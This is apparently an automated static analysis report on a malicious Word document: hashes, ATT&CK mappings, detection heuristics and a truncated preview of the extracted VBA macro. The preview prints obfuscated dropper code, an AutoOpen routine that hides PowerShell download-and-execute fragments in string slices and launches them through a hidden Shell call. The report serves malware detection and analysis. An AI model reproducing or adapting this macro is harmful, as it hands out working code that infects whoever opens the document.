Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 92b1c884e93f424c…

MALICIOUS

Office (OLE)

149.5 KB Created: 2017-12-19 14:19:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 09ec636e1912fbeda96864832eb791e0 SHA-1: ac4e7c3ed8e2ef6a76534e7dd201ff34ebf40dec SHA-256: 92b1c884e93f424ce310087cb9d456a671f7f46aec3ffb7c889202aaff9fbecb
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, a critical indicator of malicious activity, to execute commands. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests a lure-based dropper, and the presence of an unknown reputation URL further supports this. The primary function of the VBA script is to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.jRg+jRgjuniorsharvajRg+ In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 67707 bytes
SHA-256: eaced4e1d5f92c5748a7c107512d59c1137cd642040a7e2d17f696cdbc68586a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BumPwJf"
Sub AutoOpen()
On Error Resume Next
SWkjPdIsC = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 9 + ChrB(13 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 11 / 11) - (14 - CBool(881 - 11) * TMfXJir + Cos(12))
wpRbpFKaF = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 12 + ChrB(8 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 7 / 11) - (14 - CBool(881 - 11) * TMfXJir + Cos(13))
zhTXfqTtH = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 12 + ChrB(13 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 13 / 12) - (14 - CBool(881 - 7) * TMfXJir + Cos(14))
vdECCabib = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 10 + ChrB(11 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 7 / 12) - (14 - CBool(881 - 11) * TMfXJir + Cos(9))
llVMDfQjk = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 11 + ChrB(7 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 7 / 12) - (9 - CBool(881 - 13) * TMfXJir + Cos(11))
VBA.Shell$ fvYUjEBob, 0
RwELrmVXM = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 7 + ChrB(13 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 11 / 9) - (8 - CBool(881 - 10) * TMfXJir + Cos(9))
BWluqfEbj = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 9 + ChrB(13 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 10 / 8) - (10 - CBool(881 - 11) * TMfXJir + Cos(10))
iahIDuwvi = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 8 + ChrB(14 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 14 / 13) - (8 - CBool(881 - 11) * TMfXJir + Cos(7))
NfnKpdqYs = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 14 + ChrB(8 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 12 / 14) - (13 - CBool(881 - 10) * TMfXJir + Cos(9))
iAskVAFia = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 14 + ChrB(8 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 10 / 9) - (14 - CBool(881 - 13) * TMfXJir + Cos(9))
End Sub
Function fvYUjEBob()
On Error Resume Next
dsTKqMpJ = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 9 + ChrB(11 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 12 / 7) - (7 - CBool(881 - 9) * TMfXJir + Cos(11))
YPjlqtATDXZ = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 13 + ChrB(9 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 7 / 8) - (12 - CBool(881 - 10) * TMfXJir + Cos(14))
YkCdqGECmft = Mid("pHd6bjRg+jRgcd){jRg+jRgtjRg+jRgryjRg+jRg{1aTGx+TGxjRg+TGx+TGx'+'jRgyfrancjRg+jRg.jRg+jRgDowjRgTGx+TGx+j'+'RgnljTGx+TGxRg+jRgoadFjRg+jRgile(jRg+jRg1ayajRg+jRgbjRg+jRgc.ToSjRg+jRgtring(), 1ayTGx+TGxhuas);ITt7bDsfZYplJUzKvAVcs2FCho42w7E", 5, 199)
pYLdrfHb = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 10 + ChrB(10 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 14 / 8) - (12 - CBool(881 - 10) * TMfXJir + Cos(14))
oRizhXS = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 10 + ChrB(13 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 7 / 8) - (12 - CBool(881 - 10) * TMfXJir + Cos(8))
wLfmvn = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 11 + ChrB(7 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 12 / 14) - (9 - CBool(881 - 13) * TMfXJir + Cos(13))
uazHZTT = Mid("jw2jR'+'g+jRgnvjRg+jRgojRg+jRgkjRg+jRge-IjRg+jRgtemj'+'Rg+jRg(1jRg+jRgajRg+jRgyhuas)jRg+jRg;brTGx+TGxeak;jTGx+TGxRg+jRg}jRg+jRgcatjRg+jRgch{writejTGx+TGxRg+jRg-hosTGx+TGxt 1jRg+jcBuhFTn1nPN5vzuzdwuihXhluHirZvSG", 4, 175)
oTTKH = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 11 + ChrB(14 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 8 / 12) - (10 - CBool(881 - 7) * TMfXJir + Cos(10))
JYfGSDPwOcs = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 9 + ChrB(10 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 8 / 12) - (12 - CBool(881 - 12) * TMfXJir + Cos(8))
wUfwZjmMf = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 8 + ChrB(10 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 7 / 7) - (8 - CBool(881 - 11) * TMfXJir + Cos(13))
lnVHK = Mid("d79zSAamCEH0wAz9SGb4k2CYzR665rTGxg+jRg-ojRg+jRg'+'237j", 31, 20)
dfnFsHbpE = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 8 + ChrB(8 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 14 / 11) - (11 - CBool(881 - 10) * TMfX
... (truncated)

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